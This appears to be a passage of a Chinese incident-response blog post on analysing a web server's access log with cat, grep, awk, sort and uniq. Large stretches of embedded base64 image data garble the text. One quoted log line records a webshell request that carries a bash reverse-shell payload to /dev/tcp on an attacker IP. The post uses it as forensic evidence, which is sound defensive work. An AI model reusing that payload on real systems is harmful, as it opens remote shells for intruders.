bmeKRDtMWnoKNBdZrJoBuwp6kwl93PoU0FEWBoqyi6kxAPkeZbsL2FFTFgIqqbtqwTR2t13Wk4uu4x5SIiIiIiIiIaB9MaOE2hG7CFmvI1FabBRsF5XoKeRZvx864mYVar2ClNO5MXMxnXAxYRaDYfH0qyiqqWr5P8VZHLqOisVECkIGm1rFeOOB0iYiIiIiIiIgmjHThVjdtCNuC1XeVa9cK2D4FmoFt2iv08khBRXatTz/FLFBdRdJT/Sqky6gjhcLAFXsBj8l8zDpnhZyXAcu7srDfikqJvgZfZzd/u+vg7nNM+L47cl/DMLCcclC95a26yedsWJ48us9nqJyD8pEVdT7bME0r5Pr1z2fwuTdXoJth81DuGkrN+Yx3teww87mAdHIFnVdoCSuVOpBaDrg+nmKtsYyU00At8OxGJfk6JSIiIiIiIiKaEEImdNMWQghhm3rg44YlhLBNoQMCMIQV0FamDdqP2cLUA3LRTWF7HjMs4bItYdlCWEbze5YR+ly4DYXhe9w9Bjw5Ds456Hu6MG3PcaX6krvOuml78mn11dU+pr5849ZvPLqPF3DdZXLWTduXX78xlM15UD7eHLqvSZS56j+v5lwRXeMueX0Gn7vMPJS8hu6J+cbSML1j093XoOOEzzGZ5/Qz8FiRx1TydcpgMBgMBoPBYDAYDAaDMTkh17C3+OYNtyjiLZj0tpdp423bp1BoWJ3neAtBnsKR97i+PrzP7VPk8Rephjuv3pDpS+Y6o7f43P11nH15nxtauB1wHUJzDhnnIXIOH5fwIt/gce99vltU7lcIlJkn/c49ymtn0HECivwyefY5jswc677eQX3rpt38/uBienhEG1MGg8FgMBgMBoPBYDAYjEmOGPe4ddCodb4qbTQAVUMmcpvB9CWt/W9jOQXU11EAgFIFNad53EoNTvO4GQ1wkEFObz63sdH8+HYGmgqk8sL3ce98Kup5FbBe9x4n6OPXsn1JKFVQc1Rkcm4nei4D1amh0v5Meox9NRXSChQlOXhfVmMZKaeKwF0JQnMGej7Gnk9FnhvS+UgJG
<h1 id=toc-2>日志分析</h1>
<p>通过上述图片也可以发现业务量特别大，我们使用cat access.log.1 | wc -l发现存在9272条</p>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522095557-6e4b569a-17de-1.png><img src="data:image/png;base64,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
<p>当我们通过上图的一系列命令进行定位和日志判断以及文件数据内容大小判断发现非常大，如果我们一个一个查那太费时间了，所以我们可以使用grep加|的方式进行简化日志，但是在这其中你可能会发现grep只能发现一些数据，就不能回显所有正则匹配的方式，我大概猜测是字节流的原因，这个没有仔细去深究过，所以我们需要使用如下命令，如果你实在没有办法你也可以把文件导入到notepad++或者visual code里面Ctrl+f来查找，反正这个思路很多的。</p>
<pre><code>cat -e access.log.1 | grep 1.php
cat access.log.1 | grep -a 1.php</code></pre>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522093949-2d98de6c-17dc-1.png><img src=data:image/png;base64,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
<pre><code>192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?2022=bash%20-i%20%3E&amp;%20/dev/tcp/192.168.1.7/1234%200%3E&amp;1 HTTP/1.1" 200 242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"$</code></pre>
<p>通过上述一条日志我们可以知道格式为：</p>
<pre><code>访问者ip 时间 请求头 请求路径 URL http版本 状态码 长度
user-agent头</code></pre>
<p>通过上述文件我们可以使用awk命令进行正则匹配来过滤出我们想要的数据，比如说我们需要知道访问者ip，那么我们可以使用如下命令进行筛选</p>
<pre><code>awk '{print $1}' access.log.1 此命令为匹配字段为1的数据并只显示字段为1的数据</code></pre>
<p>通过上述命令我们筛选出所有的IP</p>
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094022-413b3172-17dc-1.png><img src="data:image/png;base64,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
我们还可以使用如下命令对所有IP请求次数进行行数展示并且进行sort排序</p>
<pre><code>awk '{print $1}' access.log.1 | sort | uniq -c
uniq是行数展示
sort默认进行ASCII排序</code></pre>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094034-4829d1fa-17dc-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA5wAAACjCAYAAADmdhE0AAA9LUlEQVR4nO29T2wbyZ7n+Y1M0pJlWyblf/TzP1X5VRXVjTejt3gHnbpldJ9m0YBmgd3LAgtpdubBh35IobePjVntYuc0A4yF3kNdGhTmOA10C+jj7ILqd/LMLMaaORT1qstVcvkfbZedlGxZlsTM2ENmkJHJJDNJJUVK+n6AX5XFjIz4xZ9fRPwyMiIFAAlCCCGEEEIIISRljEErQAghhBBCCCHkZEKHkxBCCCGEEEJIX6DDSQghhBBCCCGkL9DhJIQQQgghhBDSF+hwEkIIIYQQQgjpC3Q4CSGEEEIIIYT0BTqchBBCCCGEEEL6Ah1OQgghhBBCCCF9gQ4nIYQQQgghhJC+QIeTEEIIIYQQQkhfoMNJCCGEEEIIIaQv0OEkhBBCCCGEENIX6HASQgghhBBCCOkLdDhjKaEibZStQetBUqNUgZSyIZXSoBUaNk55my9VIO0yjjb7Fsq23yb7nXapAikrGJ5mX0LlEHm2yrZvy6e4zfab09BnDsTuh4Rhy/vQ9VGEkMMyxA5nkkmvNkmTkh3UsGCVYQ/T5C+sz8IUhBAQYhFrtSHQ5yRjlWFrE1XZYaZqlW3YZQvKrk/MpDbJZK50H7O5DawIAZG/h+Wj0q1njvChhNaGotrE8r08hBBY2chh9n5Moxm2ifVxYdB9Zjti2sbJ5pQ/GCSEHCuG2OGMwSrDlg8wvb7oD4QCKxtFzNPpHDil+7PIbazi3pDMmqnPoCihsgQs+fYpxCLWCvNtnE4Lc9M5VDeXAUyjkNvAw4UjVnfQ1KpYP4p0FqYgxBSGoXhLFQkp51HMzeJB1OS5VIFcApbECjZi4lqv1oDCJJ3J00IXbYMcM4aojyKEpENXDqdVtiHtCiptVxVDK45tJpYdwzSeWM6jiBxmH7RJZ2kWWFtEXpu1L0ytYANFLHRcIYm4luR1oblKTL5KqOgrOe2ePCZIq3M5e/rboci9e0JP7g+dVi+UMFOsYe1rfahIrrM3Ae38amF3Okfpk5Ru27ONcjnuVaD2+nTOu/80uxzXDpOVYaI2P62vTvbSnhcwFVitW8a91Q2gOBNRPpqTWZpBsUfnq33eu+wTWuIc1EpC8nqPtYtAXUW1UT+tUod6T9Q/J8Mq25gvrGFRrGCjtoZFsQTcD7XXhamhW/FNzb5SCZNk3Ek4NqVCP/rMNgxd20hSzknKJ8aWU7TBdIhYaW15JTZB39K4Ly4/KbWfpJyG18kJOSJkUrHKtpRSSrtsRV4vVaSUdllagARKshIRNkkYNK7ZsmxF6GKVpa1dK1Wkh12RFVvKSsn/rVKKvRdeQFkKXPfigKZjZ52jfrNk2dbiTZRWsnK2yramj0orFD6ltAL11q4+wvFFlHsSna2yHdCvXR0m1bmTProO4TLppq0G8+W3FRmq94Tl0znvSdphwjL0Mhaoy1JZr5twWp3iiW9jSe5pR8e4uizDrvoEP+9eW2tfn4lEi6/7MMnqvSu7CNdBt/XeCBvfH3QSL8uWF1dc+fi6dWoPrX1Mj3VxiDaWzL66CRM/NnUedxKOTYnl6PvMeIlvG4nkUG0jWTknnf8ks+XD22B6eQ/p0dLHdNO3RN3fz/YTUy5xdkqhUJJK8sCdB/TWTr81fJIwetg2naneOeodkzYg6/EG0gh0rNGDZ7Aj7C1frZIkrSTljNYJcvjvNNPS740d3DqUQ6zOMfXcg87x9dJp8pSk3lvv7+ygdDExasl7N7bTKZ6IhxNJ9GwTT5I